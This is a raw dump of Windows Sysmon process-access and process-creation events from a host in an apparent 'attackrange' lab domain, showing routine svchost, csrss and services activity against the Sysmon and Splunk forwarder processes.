09:09:35.936{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001633Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.936{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001632Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.936{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001631Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.936{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001630Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.936{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001629Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.936{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001628Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.936{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001627Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.840{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001626Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.840{A5F018FF-28BD-5F80-0A00-000000007F01}8522844C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\services.exe+12bee|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001625Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.351{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" serviceC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001624Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.832{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001623Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.832{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001622Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.832{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001621Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.832{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001620Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.832{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001619Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.832{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001618Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.832{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001617Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.832{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001616Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.832{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001615Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001614Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001613Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001612Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001611Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001610Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001609Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 